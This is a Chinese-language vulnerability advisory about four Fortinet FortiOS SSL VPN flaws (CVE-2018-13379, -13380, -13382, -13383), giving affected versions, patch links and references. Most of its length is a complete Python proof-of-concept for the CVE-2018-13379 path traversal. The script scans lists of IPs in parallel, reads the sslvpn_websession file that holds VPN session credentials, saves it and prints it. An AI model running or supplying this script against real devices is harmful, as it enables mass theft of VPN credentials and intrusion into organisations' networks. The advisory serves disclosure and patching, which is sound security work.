漏洞预警|Fortigate SSL VPN任意文件读取高危漏洞(CVE-2018-13383/CVE-
2019-08-16 07:29:53 Author: mp.weixin.qq.com(查看原文) 阅读量:237 收藏

漏洞描述

在最近的blackhat大会上,安全研究员@Orange公布了Fortinet FortiOS的多个漏洞,成功利用这些漏洞的攻击者,可在未经身份验证的情况下获取用户账号敏感信息,修改账号密码,从而最终控制目标系统。

漏洞编号如下:

Fortinet FortiOS 缓冲区溢出漏洞(CVE-2018-13383)

Fortinet FortiOS 未授权访问漏洞(CVE-2018-13382)

Fortinet FortiOS 路径遍历漏洞(CVE-2018-13379)

Fortinet FortiOS 跨站脚本攻击漏洞(CVE-2018-13380)

漏洞分析

Fortinet FortiOS是美国飞塔(Fortinet)公司的一套专用于FortiGate网络安全平台上的安全操作系统。该系统为用户提供防火墙、防病毒、VPN、Web内容过滤和反垃圾邮件等多种安全功能。

FortinetFortiOS缓冲区溢出漏洞(CVE-2018-13383)

Fortigate SSL VPN的某个页面在获取对应国家的语言文件时,会使用URL中的lang参数去构建要读取的文件名:

snprintf(s, 0x40"/migadmin/lang/%s.json", lang);

该操作没有相应的保护措施,会直接附加文件扩展名。看似只能读取json文件,但实际上我们可以欺骗snprintf的特性。snprintf最多会将size-1大小的数据写入输出字符串中,因此,只需要让数据超过缓冲区大小,就可以剔除.json扩展名,从而实现任意文件读取。

攻击者可在未经身份验证的情况下利用该漏洞直接读取VPN认证信息,并在通过VPN认证后利用缓冲区溢出漏洞(CVE-2018-13383)获取系统权限,从而进一步威胁企业内网服务。

FortinetFortiOS路径遍历漏洞(CVE-2018-13379)

漏洞源于该系统未能正确地过滤资源或文件路径中的特殊元素,导致攻击者可以利用该漏洞访问受限目录以外的位置。Fortinet FortiOS 5.6.3版本至5.6.7版本、6.0.0版本至6.0.4版本中的SSLVPN 受此漏洞影响。

验证PoC如下:

import requests, binascii, optparse
from urlparse import urlparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
requests.packages.urllib3.disable_warnings()
import multiprocessing

def checkIP(ip):
    try:
        url = "https://"+ip+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
        headers = {"User-Agent""Mozilla/5.0""Accept""text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8""Accept-Language""en-US,en;q=0.5""Accept-Encoding""gzip, deflate""Connection""close""Upgrade-Insecure-Requests""1"}      
        r=requests.get(url, headers=headers, verify=False, stream=True, timeout=2)
        img=r.raw.read()
        if "var fgt_lang =" in str(img):
            with open("sslvpn_websession_"+ip+".dat"'w'as f:
                f.write(img)        
            parseFile(ip)
            print "\n"              
            return True
        else:
            return False
    except requests.exceptions.ConnectionError:
        return False

def read_bytes(filename, chunksize=8192):
  try:
    with open(filename, "rb"as f:
      while True:
        chunk = f.read(chunksize)
        if chunk:
          for b in chunk:
            yield b
        else:
          break
  except IOError:
    pass

def is_character_printable(s):
  return all((ord(c) < 127and (ord(c) >= 32for c in s)

def validate_byte_as_printable(byte):
  if is_character_printable(byte):
    return byte
  else:
    return '.'

def parseFile(ip):
    print "[Checking: "+ip+"]"
    url = "https://"+ip+"/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
    print "[*} Web session at: "+url
    filename="sslvpn_websession_"+ip+".dat"
    memory_address = 0
    ascii_string = ""
    for byte in read_bytes(filename):
      ascii_string = ascii_string + validate_byte_as_printable(byte)
      if memory_address%61 == 60:
        if ascii_string!=".............................................................":
            print ascii_string
        ascii_string = ""
      memory_address = memory_address + 1

parser = optparse.OptionParser()
parser.add_option('-f', action="store", dest="filename")
parser.add_option('-i', action="store", dest="ip", help="e.g. 127.0.0.1:10443")
parser.add_option('-n', action="store", dest="numOfThreads")
options, remainder = parser.parse_args()
numOfThreads=10
ipList=[]
if options.ip:
    ipList.append(options.ip)
if options.filename:
    with open(options.filename) as f:
        ipList = f.read().splitlines()
if options.numOfThreads:
    numOfThreads=int(options.numOfThreads)
ipList = filter(None, ipList)

p = multiprocessing.Pool(processes=numOfThreads)
p.map(checkIP,ipList)        
p.close()

FortinetFortiOS跨站脚本攻击漏洞(CVE-2018-13380)

漏洞源于WEB应用缺少对客户端数据的正确验证,导致攻击者可利用该漏洞执行客户端代码。Fortinet FortiOS 6.0.0版本至6.0.4版本、5.6.0版本至5.6.7版本、5.4及之前版本中的SSL VPN 受此漏洞影响。

FortinetFortiOS未授权访问漏洞(CVE-2018-13382)

漏洞源于该系统中缺少身份验证措施或身份验证强度不足,导致攻击者可以修改任意用户的密码。Fortinet FortiOS 6.0.0版本至6.0.4版本、5.6.0版本至5.6.8版本、5.4.1版本至5.4.10版本受此漏洞影响。

ZoomEye扫描发现,国内有大量Fortigate SSL VPN设备:

漏洞危害

高危

影响版本

Fortinet FortiOS <=6.2.0

安全建议

目前,Fortigate官方已发布升级补丁,建议用户尽快升级,官方补丁链接如下:

https://fortiguard.com/psirt/FG-IR-18-383

https://fortiguard.com/psirt/FG-IR-18-387

https://fortiguard.com/psirt/FG-IR-18-389

https://fortiguard.com/psirt/FG-IR-18-388

参考信息

https://fortiguard.com/psirt/FG-IR-18-384

https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html

如需帮助请咨询 [email protected]


文章来源: https://mp.weixin.qq.com/s/Qi7EGS-b4pebU2Yoz6rRFg
如有侵权请联系:admin#unsafe.sh